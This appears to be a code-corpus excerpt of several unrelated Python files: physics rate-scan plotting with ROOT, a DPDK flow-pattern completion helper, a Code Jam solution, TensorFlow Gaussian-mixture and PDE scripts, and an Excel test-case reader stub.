draw_flux_distribution(self, fs11, fsh13, tc=None, do_fit=True, show=True, run_thr=None):\n values = []\n for tc in self.TestCampaigns if tc is None else [tc]:\n for run, data in sorted(self.RunInfos[tc].iteritems()):\n info_run = Run(run_number=run, test_campaign=tc, tree=False)\n if run_thr is not None:\n if run_thr > 0 and int(run) < run_thr:\n continue\n elif run_thr < 0 and int(run) > abs(run_thr):\n continue\n try:\n if data['fs11'] == fs11 and data['fs13'] == fsh13:\n flux = info_run.Flux\n # print tc, run, flux\n values.append(flux) if flux > 1 else do_nothing()\n except KeyError:\n pass\n if not values:\n return\n spread = max(values) - min(values)\n set_root_output(False)\n h = TH1F('h_fd', 'Flux Distribution for {0}/{1}'.format(fs11, fsh13), int(sqrt(len(values))) + 5, min(values) - .2 * spread, max(values) + .2 * spread)\n for val in values:\n h.Fill(val)\n self.format_statbox(only_fit=True, w=.25) if do_fit else do_nothing()\n format_histo(h, x_tit='Flux in kHz/cm^{2}', y_tit='Number of Entries', y_off=1.3, stats=0 if not do_fit else 1)\n self.draw_histo(h, '', show)\n fit = None\n if do_fit:\n h.SetName('Fit Results')\n set_root_output(show)\n fit = h.Fit('gaus', 'qs')\n self.save_plots('FluxDistribution{0}_{1}'.format(int(fs11), int(fsh13)), show=show)\n return fit\n\n def draw_dia_rate_scans(self, redo=False, irr=True, corr=True):\n mg = TMultiGraph('mg_ph', '{dia} Rate Scans{b};Flux [kHz/cm^{{2}}]; Pulse Height [mV]'.format(dia=self.DUTName, b=self.get_bias_str()))\n mgs = self.get_values(AnalysisCollection.draw_pulse_heights, PickleInfo('Ph_fit', 'MG', '10000_{}'.format(corr)), redo=redo, show=False, prnt=False)\n for i, (mgi, sel) in enumerate(zip(mgs, self.Info)):\n for g in mgi.GetListOfGraphs():\n format_histo(g, color=self.Colors[i], markersize=1.5, lw=2)\n if g.GetName() == 'gFirst':\n format_histo(g, color=1, marker=26, markersize=2)\n elif g.GetName() == 'gLast':\n format_histo(g, color=1, marker=23, markersize=2)\n mg.Add(mgi)\n legend = self.make_full_legend([mgi.GetListOfGraphs()[0] for mgi in mgs], irr)\n y = concatenate([get_graph_y(g) for g in mg.GetListOfGraphs()])\n format_histo(mg, draw_first=True, y_tit='Pulse Height [au]', y_range=[0, y.max().n * 1.1], tit_size=.05, lab_size=.05, y_off=.91, x_off=1.2, x_range=Bins().FluxRange)\n self.save_histo(mg, 'DiaScans{dia}'.format(dia=make_dia_str(self.DUTName)), draw_opt='a', logx=True, leg=legend, x=1.6, lm=.092, bm=.12, gridy=True)\n\n def draw_pedestals(self, rel=False, redo=False, show=True, irr=True):\n mg = TMultiGraph('mg_ph', '{dia} Pedestals{b};Flux [kHz/cm^{{2}}]; Pulse Height [mV]'.format(dia=self.DUTName, b=self.get_bias_str()))\n for i, (values, sel, fluxes) in enumerate(zip(self.get_pedestals(redo), self.Info, self.get_fluxes())):\n pedestals = array([make_ufloat(*tup) for tup in array(values).T])\n if rel:\n pedestals /= array([dic['ph'] for dic in self.get_rp_pulse_heights(sel, redo).itervalues()]) * .01\n g = self.make_tgrapherrors('gp{}'.format(i), '', x=fluxes.values(), y=pedestals, color=self.Colors[i])\n mg.Add(g, 'pl')\n legend = self.make_full_legend(mg.GetListOfGraphs(), irr)\n format_histo(mg, draw_first=True, y_tit='Pulse Height [au]', tit_size=.05, lab_size=.05, y_off=.91, x_off=1.2, x_range=Bins().FluxRange)\n self.save_histo(mg, '{}Pedestals'.format(self.Name), draw_opt='a', logx=True, leg=legend, x=1.6, lm=.092, bm=.12, gridy=True, show=show)\n\n def make_full_legend(self, graphs, irr=True):\n same_bias = len(set(self.get_bias_voltages())) == 1\n cols = 1 + (not same_bias) + irr\n legend = self.make_legend(.75, .4, w=.2 * cols, nentries=4, clean=True, cols=cols)\n for i, (g, sel) in enumerate(zip(graphs, self.Info)):\n legend.AddEntry(g, '{} - {}'.format(sel.RunPlan, make_tc_str(sel.TCString)), 'lp')\n legend.AddEntry(0, make_irr_string(sel.Irradiation), '') if irr else do_nothing()\n legend.AddEntry(0, get_bias_root_string(sel.Bias), '') if not same_bias else do_nothing()\n return legend\n\n def draw_title_pad(self, h, x0, lm, c_height):\n if self.Title:\n biases = list(set(self.get_bias_voltages()))\n bias_str = ' at {b}'.format(b=make_bias_str(biases[0])) if len(biases) == 1 else ''\n self.draw_tpad('p0', 'p0', pos=[x0, 1 - h / c_height, 1, 1], margins=[0, 0, 0, 0], transparent=True)\n self.draw_tpavetext('{dia} Rate Scans{b}'.format(dia=self.DUTName, b=bias_str), lm, 1, 0, 1, font=62, align=13, size=.5, margin=0)\n get_last_canvas().cd()\n\n def draw_scaled_rate_scans(self, irr=False, y_range=.07, pad_height=.18, scale=1, avrg=False):\n data = zip(self.get_pulse_heights(avrg=avrg), self.get_fluxes(avrg=avrg), get_color_gradient(self.NPlans))\n title_height = pad_height / 2 if self.Title else .03 # half of a pad for title\n c_height = (self.NPlans + .5) * pad_height + title_height # half of a pad for the x-axis\n c_width = 1.3 * pad_height / .2 # keep aspect ratio for standard pad_height\n c = self.make_canvas(name='csrc', x=c_width, y=c_height, transp=True, logx=True, gridy=True)\n lm, rm, x0, size = .07, .02, .08, .22\n\n self.draw_title_pad(title_height, x0, lm, c_height)\n self.draw_tpad('p1', 'p1', pos=[0, 0, x0, 1], margins=[0, 0, 0, 0], transparent=True) # info pad\n self.draw_tpavetext('Scaled Pulse Height', 0, 1, 0, 1, align=22, size=.5, angle=90, margin=0) # y-axis title\n c.cd()\n\n for i, (ph, flux, color) in enumerate(data):\n c.cd()\n y0, y1 = [(c_height - title_height - pad_height * (i + j)) / c_height for j in [1, 0]]\n p = self.draw_tpad('p{i}'.format(i=i + 3), '', pos=[x0, y0, 1, y1], margins=[lm, rm, 0, 0], logx=True, gridy=True, gridx=True)\n g = self.make_tgrapherrors('gsph{}'.format(i), '', x=flux, y=ph)\n scale_graph(g, val=scale) if scale else do_nothing()\n format_histo(g, title=' ', color=color, x_range=Bins().FluxRange, y_range=[1 - y_range, 1 + y_range], marker=markers(i), lab_size=size, ndivy=505, markersize=1.5, x_ticks=.15)\n self.draw_histo(g, draw_opt='ap', canvas=p)\n self.draw_legend(i, g, irr, rm)\n c.cd()\n\n self.draw_tpad('p2', pos=[x0, 0, 1, pad_height / 2 / c_height], margins=[lm, rm, 0, 0], transparent=True) # x-axis pad\n self.draw_x_axis(1, lm, 1 - rm, 'Flux [kHz/cm^{2}]', Bins().FluxRange, opt='', log=True, tick_size=0, lab_size=size * 2, tit_size=size * 2, off=1.1)\n self.save_plots('ScaledDiaScans{dia}'.format(dia=make_dia_str(self.DUTName)))\n\n def draw_scaled_distribution(self, excluded=None):\n values = concatenate(([vals / mean_sigma(vals)[0] for i, vals in enumerate(self.get_pulse_heights()) if i not in [excluded]]))\n h = TH1F('hsd', 'Scaled Pulse Height Distribution', 40, .9, 1.1)\n h.FillN(values.size, array([v.n for v in values], 'd'), full(values.size, 1, 'd'))\n self.format_statbox(all_stat=1)\n format_histo(h, x_tit='Scaled Pulse Height', y_tit='Number of Entries', y_off=1.2, fill_color=self.FillColor)\n self.draw_histo(h, lm=.12)\n return values\n\n def make_plots(self, name, f, irr_pad=None, canvas=None, **kwargs):\n for sel in self.Info:\n self.info('Creating {} Plots for {}'.format(name, sel.TCString))\n self.get_rp_values(sel, f, **kwargs)\n self.draw_irradiation(make_irr_string(sel.Irradiation), irr_pad, left=False) if irr_pad is not None else do_nothing()\n self.save_plots('{}{}_{}_{}'.format(name, sel.TCString, sel.RunPlan, sel.DUTNr), canvas=get_object(canvas))\n\n def make_pulse_height_plots(self, y_range=None):\n self.make_plots('PH', AnalysisCollection.draw_pulse_heights, show=False, y_range=y_range, irr_pad=get_object('p1'))\n\n def make_current_plots(self, c_range=None):\n self.make_plots('Currents', AnalysisCollection.draw_currents, show=False, c_range=c_range, draw_opt='al')\n\n def make_current_flux_plots(self, c_range=None):\n self.make_plots('CF', AnalysisCollection.draw_currents, show=False, c_range=c_range, draw_opt='al', with_flux=True, canvas='cc')\n\n def draw_currents(self, align=False, show=True):\n mg = TMultiGraph('mgc', 'Leakage Current vs. Flux')\n legend = self.make_legend(nentries=len(self.RunSelections), w=.4, x2=.52)\n currents = [c.values() for c in self.get_currents()]\n fluxes = [f.values() for f in self.get_fluxes()]\n for i, (x, y) in enumerate(zip(fluxes, currents)):\n g = self.make_tgrapherrors('gf', 'gf', x=x, y=y)\n if align:\n fit = g.Fit('pol1', 'qs0')\n g = self.make_tgrapherrors('gc{}'.format(i), '', y=array(currents[i]) - fit.Parameter(0) + .1, x=fluxes[i])\n format_histo(g, color=self.get_color())\n legend.AddEntry(g, '{tc} - {hv}'.format(tc=self.Info[i].TCString, hv=self.get_rp_values(self.Info[i], AnalysisCollection.get_hv_name, load_tree=False)), 'pl')\n mg.Add(g, 'p')\n format_histo(mg, draw_first=True, y_tit='Current [nA]', x_tit='Flux [kHz/cm^{2}]', y_range=[.1, array(currents).max().n * 2], x_range=Bins().FluxRange)\n self.save_histo(mg, 'CurrentFlux{}'.format(self.Name), draw_opt='a', logx=True, logy=True, leg=legend, bm=.17, show=show)\n\n def get_titles(self, irr=False):\n if len(set(self.get_dut_names())) > 1:\n return self.get_dut_names()\n tits = self.get_irradiations() if irr else [make_tc_str(tc) for tc in self.TestCampaigns]\n if any(['rand' in word for word in self.get_run_types()]):\n for i, sel in enumerate(self.Info):\n tits[i] += ' (random)' if 'rand' in sel.Type.lower() else ' '\n return tits\n\n def draw_legend(self, ind, gr, irr, rm):\n add_bias = len(set(self.get_bias_voltages())) > 1\n tits = self.get_titles(irr)\n biases = [make_bias_str(bias) for bias in self.get_bias_voltages()] if add_bias else [''] * len(tits)\n x1 = 1 - max([(12 if irr else len(tit)) + len(bias) for tit, bias in zip(tits, biases)]) * .022\n legend = self.make_legend(x1, 1, x2=1 - rm, nentries=1.2, scale=5)\n legend.AddEntry(gr, tits[ind], 'pe')\n if add_bias:\n legend.SetNColumns(2)\n legend.AddEntry('', biases[ind], '')\n legend.Draw()\n\n def set_bin_labels(self, h):\n for i, sel in enumerate(self.Info):\n h.GetXaxis().SetBinLabel(h.GetXaxis().FindBin(i), '{} - {}'.format(make_tc_str(sel.TCString, 0), sel.RunPlan))\n\n def draw_mean_pedestals(self, redo=False, show=True):\n y = array([make_ufloat(mean(tc_values, axis=1)) for tc_values in self.get_pedestals(redo)])\n g = self.make_tgrapherrors('gmp', 'Mean Pedestals', x=arange(y.size), y=y)\n format_histo(g, x_tit='Run Plan', y_tit='Pulse Height [mV]', y_off=1.2, x_range=increased_range([0, y.size - 1], .3, .3), x_off=2.5)\n self.set_bin_labels(g)\n self.save_histo(g, 'PedestalMeans{}'.format(self.Name.title().replace('-', '').replace('_', '')), show, draw_opt='ap', bm=.2, x=1.5, y=.75, gridy=True)\n\n def draw_means(self, y_range=None, show=True):\n y = array([make_ufloat(mean_sigma([dic['ph'] for dic in ph.itervalues()])) for ph in self.get_pulse_heights()])\n g = self.make_tgrapherrors('gms', 'Pulse Height Evolution', x=arange(y.size), y=y)\n format_histo(g, x_tit='Run Plan', y_tit='Mean Pulse Height [mV]', y_off=1.2, x_range=increased_range([0, y.size - 1], .3, .3), x_off=2.5, y_range=y_range)\n self.set_bin_labels(g)\n self.save_histo(g, 'Means{}'.format(self.Name.title().replace('-', '').replace('_', '')), show, draw_opt='ap', bm=.2, x=1.5, y=.75, gridy=True)\n\n def draw_sigmas(self, y_range=None, show=True):\n mean_sigmas = [mean_sigma([dic['ph'] for dic in ph.itervalues()]) for ph in self.get_pulse_heights()]\n y = array([make_ufloat((0, 100 * s / m)) for m, s in mean_sigmas])\n g = self.make_tgrapherrors('gms', 'Pulse Height STD Evolution', x=arange(y.size), y=y)\n format_histo(g, x_tit='Run Plan', y_tit='Pulse Height Standard Deviation [%]', y_off=1.2, x_range=increased_range([0, y.size - 1], .3, .3), x_off=2.5, y_range=y_range)\n self.set_bin_labels(g)\n self.save_histo(g, 'Means{}'.format(self.Name.title().replace('-', '').replace('_', '')), show, draw_opt='ap', bm=.2, x=1.5, y=.75, gridy=True)\n\n def draw_uniformity(self, arg=2, redo=False, low=False, high=False):\n y_values = [v[arg] for v in self.get_mean_uniformities(redo=redo, low=low, high=high)]\n x_values = [make_ufloat((v, v * .2)) for v in self.get_irradiations(string=False)]\n g = self.make_tgrapherrors('gu', 'Uniformity', x=x_values, y=y_values)\n format_histo(g, x_tit='Irradiation [n/cm^{2}]', y_tit='FWHM/MPV', y_off=1.3)\n self.draw_histo(g, draw_opt='ap')\n\n def draw_peak_flux(self, show=True):\n leg = self.make_legend(x2=.45, w=.3)\n mg = TMultiGraph('mgph', 'Peak Flux vs. FAST-OR Flux')\n values_list = self.get_values(AnalysisCollection.get_peak_flux, PickleInfo('Peaks', 'Flux'))\n flux_list = self.get_fluxes()\n for sel, values, fluxes in zip(self.Info, values_list, flux_list):\n g = self.make_tgrapherrors('g{}'.format(sel.RunPlan), '', x=fluxes, y=values)\n format_histo(g, color=self.get_color())\n leg.AddEntry(g, '{} @ {:+1.0f}V'.format(sel.DUTName, sel.Bias), 'pl')\n mg.Add(g, 'p')\n x, y = concatenate(flux_list), concatenate(values_list)\n x_range, y_range = [.5 * min(x).n, 1.2 * max(x).n], [.5 * min(y).n, 1.2 * max(y).n]\n format_histo(mg, draw_first=True, y_tit='Peak Flux [kHz/cm^{2}] ', x_tit='FAST-OR Flux [kHz/cm^{2}]', x_range=x_range, y_off=1.8, y_range=y_range)\n self.save_histo(mg, 'PeakFluxes{}'.format(self.Name), draw_opt='a', leg=leg, show=show, lm=.13)\n # endregion DRAWING\n # ----------------------------------------\n\n\nclass SelectionInfo:\n def __init__(self, sel):\n self.TCString = sel.TCString\n self.RunPlan = sel.SelectedRunplan\n self.DUT = sel.SelectedDUT\n self.DUTName = self.DUT.Name\n self.DUTNr = self.DUT.Number\n self.Verbose = sel.Run.Verbose\n self.Bias = self.DUT.Bias\n self.Irradiation = self.DUT.get_irradiation(self.TCString)\n self.Type = sel.SelectedType.lower()\n self.Runs = sel.get_selected_runs()\n\n def __str__(self):\n return 'Selection instance: {} {} {}'.format(self.TCString, self.RunPlan, self.DUTName)\n\n def __repr__(self):\n return self.__str__()\n\n def __call__(self):\n return [self.TCString, self.RunPlan, self.DUTName, self.DUTNr, '{:03d}-{:03d}'.format(self.Runs[0], self.Runs[-1]), '{:+4.0f}V'.format(self.Bias), self.Type, self.Irradiation]\n\n\nclass PickleInfo:\n def __init__(self, sub_dir, name, suf=None):\n self.SubDir = sub_dir\n self.Name = name\n self.Suffix = '' if suf is None else str(suf)\n\n\nif __name__ == '__main__':\n\n aparser = ArgumentParser()\n aparser.add_argument('sel', nargs='?', default=None, help='name of the selection')\n aparser.add_argument('-d', nargs='?', default=None, help='dut')\n aparser.add_argument('-tc', nargs='?', default=None, help='test campaign')\n aparser.add_argument('-v', '--verbose', action='store_false')\n aparser.add_argument('-p', action='store_true', help='print analysis strings')\n aparser.add_argument('-r', action='store_true', help='redo')\n aparser.add_argument('-s', action='store_true', help='activate show single selection')\n aparser.add_argument('-sa', action='store_true', help='active show all selections')\n pargs = aparser.parse_args()\n\n z = DiaScans(pargs.sel, pargs.verbose)\n if pargs.p:\n print(z.get_all_ana_strings(pargs.d, pargs.tc, pargs.r))\n if pargs.s:\n z.show_selection()\n if pargs.sa:\n z.show_selections()\n","sub_path":"src/runplan_selection.py","file_name":"runplan_selection.py","file_ext":"py","file_size_in_byte":34274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"638273235","text":"# SPDX-License-Identifier: BSD-3-Clause\n# Copyright(c) 2019 Nippon Telegraph and Telephone Corporation\nimport copy\n\n\nclass BaseComplPatternItem(object):\n \"\"\"Base class for completion of pattern items.\n\n Each pattern item inherits from this class.\n Provides base functionality and command completion.\n \"\"\"\n\n # Token after DATA_FIELDS\n MATCHING_PATTERN = [\"is\", \"spec\", \"last\", \"mask\", \"prefix\"]\n\n def __init__(self, data=None):\n if data is not None:\n self.data = data\n\n def compl_item(self, tokens, index):\n \"\"\"Completion for pattern item commands.\n\n Complement using the information defined in the inherited class.\n \"\"\"\n candidates = []\n\n while index < len(tokens):\n if tokens[index - 1] == \"/\":\n # Completion processing end when \"/\" is specified\n candidates = []\n break\n\n elif tokens[index - 1] in self.DATA_FIELDS:\n candidates = self.MATCHING_PATTERN\n\n elif tokens[index - 1] in self.MATCHING_PATTERN:\n if tokens[index - 1] == \"prefix\":\n candidates = [\"Prefix\"]\n\n else:\n tmp_token = self.DATA_FIELDS_VALUES.get(tokens[index - 2])\n if tmp_token is not None:\n candidates = [tmp_token]\n else:\n candidates = []\n\n else:\n # Data fields candidate and end token\n candidates = copy.deepcopy(self.DATA_FIELDS)\n candidates.append(\"/\")\n\n index += 1\n\n return (candidates, index)\n\n\nclass ComplEth(BaseComplPatternItem):\n \"\"\"Complete pattern item `eth`.\"\"\"\n\n # Eth data fields\n DATA_FIELDS = [\"dst\", \"src\", \"type\"]\n\n # DATA_FIELDS value candidates\n DATA_FIELDS_VALUES = {\n \"dst\": \"MAC_ADDRESS\",\n \"src\": \"MAC_ADDRESS\",\n \"type\": \"UNSIGNED_INT\"\n }\n\n\nclass ComplVlan(BaseComplPatternItem):\n \"\"\"Complete pattern item `vlan`.\"\"\"\n\n # Vlan data fields\n DATA_FIELDS = [\"tci\", \"pcp\", \"dei\", \"vid\", \"inner_type\"]\n\n # DATA_FIELDS value candidates\n DATA_FIELDS_VALUES = {\n \"tci\": \"UNSIGNED_INT\",\n \"pcp\": \"UNSIGNED_INT\",\n \"dei\": \"UNSIGNED_INT\",\n \"vid\": \"UNSIGNED_INT\",\n \"inner_type\": \"UNSIGNED_INT\"\n }\n","sub_path":"src/cli/commands/pri_flow_compl_pattern.py","file_name":"pri_flow_compl_pattern.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"533835000","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 30 17:37:18 2016\n\n@author: zozo\n\"\"\"\n\nfname = 'A-large.in'\nf = open(fname,'r')\n\nnlines = f.readline().replace('\\n','') #\ninputs = []\nfor l in range(int(nlines)):\n inputs.append(f.readline().replace('\\n',''))\n\nf.close()\n\nnum = [\"ZERO\", \"TWO\", \"SIX\",\"EIGHT\", \"THREE\",\"FOUR\", \"FIVE\", \"SEVEN\", \"NINE\",\"ONE\",]\ndigits = [0,2,6,8,3,4,5,7,9,1]\n\noutstr = ''\n\nfor i in range(len(inputs)):\n outlist = []\n for k in range(len(num)):\n stop = 0\n while stop < 1:\n numpresent = 0\n for c in num[k]:\n if c in inputs[i] :\n numpresent += 1\n else:\n stop = stop + 1\n \n \n if len(num[k])==numpresent:\n outlist.append(digits[k])\n for kk in range(len(num[k])):\n inputs[i] = inputs[i].replace(num[k][kk],'',1)\n else:\n stop = stop + 1\n \n outlist.sort()\n outstr += 'Case #' + str(i+1) + ': ' \n for e in outlist: \n outstr+=str(e)\n outstr+='\\n' \n\n\n\nfout = open(fname + '.sub','w')\nfout.writelines(outstr)\nfout.close()","sub_path":"codes/CodeJamCrawler/16_2_1/Guf/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"498088838","text":"from Caracteristique import Caracteristique, ListeVide\nimport sys\n\n\ndef main():\n caract = Caracteristique()\n try:\n caract.afficher_caracteristiques()\n except ListeVide:\n sys.exit(\"La structure du fichier caractéristique n'est pas valide !\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"552876155","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 21 13:57:06 2019\n\n@author: ragnoletto\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport helper as hlp\nimport math as ma\n\n# Loading data\ndata = np.load('data100D.npy')\n#data = np.load('data2D.npy')\n[num_pts, dim] = np.shape(data)\nis_valid = True\n# For Validation set\nif is_valid:\n valid_batch = int(num_pts / 3.0)\n np.random.seed(45689)\n rnd_idx = np.arange(num_pts)\n np.random.shuffle(rnd_idx)\n val_data = data[rnd_idx[:valid_batch]]\n data = data[rnd_idx[valid_batch:]]\n\n# Distance function for GMM\ndef distanceFunc(X, MU):\n # Inputs\n # X: is an NxD matrix (N observations and D dimensions)\n # MU: is an KxD matrix (K means and D dimensions)\n # Outputs\n # pair_dist: is the pairwise distance matrix (NxK)\n # TODO\n X2 = tf.multiply(X,X)\n X2 = tf.reduce_sum(X2,axis = 1,keepdims = True)\n MU2 = tf.multiply(tf.transpose(MU), tf.transpose(MU))\n MU2 = tf.reduce_sum(MU2,axis=0,keepdims = True)\n pair_dist = X2 + MU2 - tf.multiply(2.0,tf.matmul(X,tf.transpose(MU)))\n return pair_dist\n\ndef log_GaussPDF(X, mu, sigma):\n # Inputs\n # X: N X D\n # mu: K X D\n # sigma: K X 1\n # log_pi: K X 1\n\n # Outputs:\n # log Gaussian PDF N X K\n\n # TODO\n dist_matrix = distanceFunc(X,mu)\n sigmaT = tf.reshape(sigma,[-1, K]) \n log_PDF = -1/2*tf.divide(dist_matrix,sigmaT) - tf.math.log(tf.sqrt(2.0*ma.pi*sigmaT))\n return log_PDF\n\ndef log_posterior(log_PDF, log_pi):\n # Input\n # log_PDF: log Gaussian PDF N X K\n # log_pi: K X 1\n\n # Outputs\n # log_post: N X K\n\n # TODO\n log_post = log_PDF + tf.transpose(log_pi)\n return log_post\n \ndef MoG():\n X = tf.placeholder(tf.float32,[None, D], name=\"X\")\n MU = tf.get_variable('mean',dtype = tf.float32,shape = [K,D], initializer = tf.initializers.random_normal())\n Psi = tf.get_variable('variance',dtype = tf.float32,shape = [K,1], initializer = tf.initializers.random_normal())\n Pi = tf.get_variable('posterior',dtype = tf.float32,shape = [K,1], initializer = tf.initializers.random_normal())\n \n log_Pi = hlp.logsoftmax(Pi)\n Sigma2 = tf.exp(Psi)\n \n Gauss_PDF = log_GaussPDF(X,MU,Sigma2)\n \n Log_Post = log_posterior(Gauss_PDF,log_Pi)\n Belong = tf.arg_max(Log_Post,dimension = 1)\n lossfunc = -tf.reduce_sum(hlp.reduce_logsumexp(Log_Post))\n optimizer = tf.train.AdamOptimizer(learning_rate = 0.01, beta1 = 0.9, beta2 = 0.99, epsilon = 1e-5)\n train = optimizer.minimize(loss=lossfunc)\n return X,MU,Psi, Pi,lossfunc,Belong,train\n \nD = data.shape[1]\nK = 5\ntf.reset_default_graph() \nX,mu,psi, pi, error,belongs,train = MoG()\ninit = tf.global_variables_initializer()\nsess = tf.InteractiveSession()\nsess.run(init)\nepochs = 500\n\n\nfor step in range(0, epochs):\n _,current_mu,curr_psi, curr_pi ,current_error = sess.run([train,mu,psi,pi,error],feed_dict = {X:data})\n if step % 10 == 0:\n print(current_error)\n \n \nfinal_belong = sess.run([belongs],feed_dict = {X:data})\nvalidloss = sess.run([error], feed_dict = {X:val_data})\nfinal_belong = final_belong[0]\nclassdiv = np.zeros(K)\nfor i in range(0,K):\n classdiv[i] = np.mean(final_belong==i)\n\n \n#RUN TO PLOT THE CLASSES, TAKES LONG TIME DUE TO ITERATION\ndef plotclasses(data,final_belong,current_mu):\n colors = ['red','green','blue','purple', 'orange']\n for i in range(current_mu.shape[0]):\n idx = np.where(final_belong==i)\n current_class = np.take(data,idx[0],axis=0)\n #print(idx,data.shape,current_class.shape)\n plt.scatter(current_class[:,0],current_class[:,1], color = colors[i])\n\n plt.grid(True)\n #plt.scatter(mu_x,mu_y, color = 'black')\n for i in range(current_mu.shape[0]):\n plt.scatter(current_mu[i][0],current_mu[i][1], color = 'black')\n plt.annotate(i, (current_mu[i][0],current_mu[i][1]))\n plt.show()\n \n \nplotclasses(data,final_belong,current_mu)\n\nsess.close()","sub_path":"a3/gmm_david.py","file_name":"gmm_david.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"50830493","text":"# Author: Fernando Zuher\n# Place: Brazil\n# Date: 12/04/2020\n# Book: Python Crash Course, 2nd Edition. Author: ERIC MATTHES.\n# About: Exercise, Chapter 7 - User Input and while Loops\n\n# 7-9. No Pastrami: Using the list sandwich_orders from Exercise 7-8, make sure\n# the sandwich 'pastrami' appears in the list at least three times. Add code\n# near the beginning of your program to print a message saying the deli has\n# run out of pastrami, and then use a while loop to remove all occurrences of\n# 'pastrami' from sandwich_orders . Make sure no pastrami sandwiches end up\n# in finished_sandwiches.\n\nsandwich_orders = ['pastrami', 'misto quente', 'pastrami', 'hamburguer', 'big mac', 'pastrami']\nfinished_sandwiches = []\n\nprint(\"The deli has run out of pastrami.\")\nwhile \"pastrami\" in sandwich_orders:\n\tsandwich_orders.remove('pastrami')\n\nfor sandwich in sandwich_orders:\n\tprint(f\"I made your {sandwich} sandwich.\")\n\tfinished_sandwiches.append(sandwich);\n\nprint(\"The sandwiches made were:\")\nfor sandwich in finished_sandwiches:\n\tprint(f\"\\t {sandwich}\")\n\n\n\n","sub_path":"Python/Chapters/Part I - Basics/Chapter 7 - User Input and while Loops/7_9_no_pastrami.py","file_name":"7_9_no_pastrami.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"517004404","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*- \n\n\nimport tensorflow as tf\nimport numpy as np\nimport datetime as dt\n\nx_in = tf.Variable(tf.random_uniform(shape=[20, 1], minval=0.0, maxval=1.0), dtype=tf.float32, trainable=False)\ny_in = tf.Variable(tf.random_uniform(shape=[20, 1], minval=0.0, maxval=1.0), dtype=tf.float32, trainable=False)\n\nhidden = 500\nlearning_rate = 1e-4\n# global_step=tf.Variable(0, trainable=False)\n# learning_rate = tf.train.exponential_decay(1e-2, global_step, 2e4, 0.96, staircase=False)\n\nw0x = tf.Variable(tf.random_normal(shape=[1, hidden], stddev=1), dtype=tf.float32)\nw0y = tf.Variable(tf.random_normal(shape=[1, hidden], stddev=1), dtype=tf.float32)\nb0x = tf.Variable(tf.random_normal(shape=[1, hidden], stddev=1), dtype=tf.float32)\nb0y = tf.Variable(tf.random_normal(shape=[1, hidden], stddev=1), dtype=tf.float32)\nw1 = tf.Variable(tf.random_normal(shape=[hidden, 1], stddev=1), dtype=tf.float32)\nb1 = tf.Variable(tf.random_normal(shape=[1, 1], stddev=1), dtype=tf.float32)\n\na = tf.sigmoid(tf.matmul(x_in, w0x) + b0x) + tf.sigmoid(tf.matmul(y_in, w0y) + b0y)\nnet_out = tf.matmul(a, w1) + b1\n\ndsigmoidh = tf.sigmoid(a) * (1 - tf.sigmoid(a))\npd_x = w0x * (tf.transpose(w1) * dsigmoidh)\npd_y = w0y * (tf.transpose(w1) * dsigmoidh)\ndsigmoidh2 = tf.sigmoid(a) + dsigmoidh - 2 * tf.sigmoid(a) * dsigmoidh\npd_x2 = (w0x * w0x) * (tf.transpose(w1) * dsigmoidh2)\npd_y2 = (w0y * w0y) * (tf.transpose(w1) * dsigmoidh2)\n\n\ntral = tf.abs(x_in * (1 - x_in) * (y_in * (1 - y_in) * pd_y2 + (2 - 4 * y_in) * pd_y - 2 * net_out) + y_in *\n (1 - y_in) * (x_in * (1 - x_in) * pd_x2 + (2 - 4 * x_in) * pd_x - 2 * net_out) - (np.pi ** 2) *\n y_in * tf.sin(np.pi * x_in))\nloss = tf.reduce_mean(tral)\n\noptimizer = tf.train.GradientDescentOptimizer(learning_rate)\n# optimizer = tf.train.AdamOptimizer(learning_rate)\ntrain = optimizer.minimize((loss))\n\ninit = tf.global_variables_initializer()\n\nsess = tf.Session()\nsess.run(init)\n\nstep = 0\n\nwhile 1:\n step = step + 1\n sess.run(train)\n if step % 2000 == 0:\n time = dt.datetime.now().isoformat()\n print(time, 'step:', step, 'loss:', sess.run(loss))\n if sess.run(loss) < 0.1:\n print(time, 'step:', step, 'loss:', sess.run(loss))\n break\n\nsess.close()\n\n'''\nx = np.linspace(0, 1, 100)\ny = np.linspace(0, 1, 100)\n'''","sub_path":"PDE/PDE2.py","file_name":"PDE2.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"275378410","text":"import os\nimport getpathInfo# 自己定义的内部类,该类返回项目的绝对路径\n#调用读Excel的第三方库xlrd\nimport xlrd\nimport xlwt\n\n# 拿到该项目所在的绝对路径\npath = getpathInfo.get_Path()\n\nclass ReadExcel():\n def get_xls(self,xls_name,sheet_name):\n\n\n #xls路径 = path + filename\n xlsPath = os.path.join(path,'testFile','case',xls_name)\n #打开用例\n rb = xlrd.open_workbook(xlsPath)\n #获取sheet\n sheet1 = rb.sheet_by_name(sheet_name)\n\n # wb = xlrd.open_workbook(xlsPath)\n print(xlsPath)\n print(wb.sheet_names())\n\n ncols = sheet1.ncols\n nrows = sheet1.nrows\n\n for row in range(1, nrows):\n print('----------------------------------当前执行--------第',row,'行----------------------------------')\n res = None\n url = url0+sheet1.row_values(row, 0, 1)[0]\n method = sheet1.row_values(row, 1, 2)[0]\n params = sheet1.row_values(row, 2, 3)[0]\n\n\nif __name__ == '__main__':#我们执行该文件测试一下是否可以正确获取Excel中的值\n print(ReadExcel().get_xls('userCase.xlsx', 'login'))\n 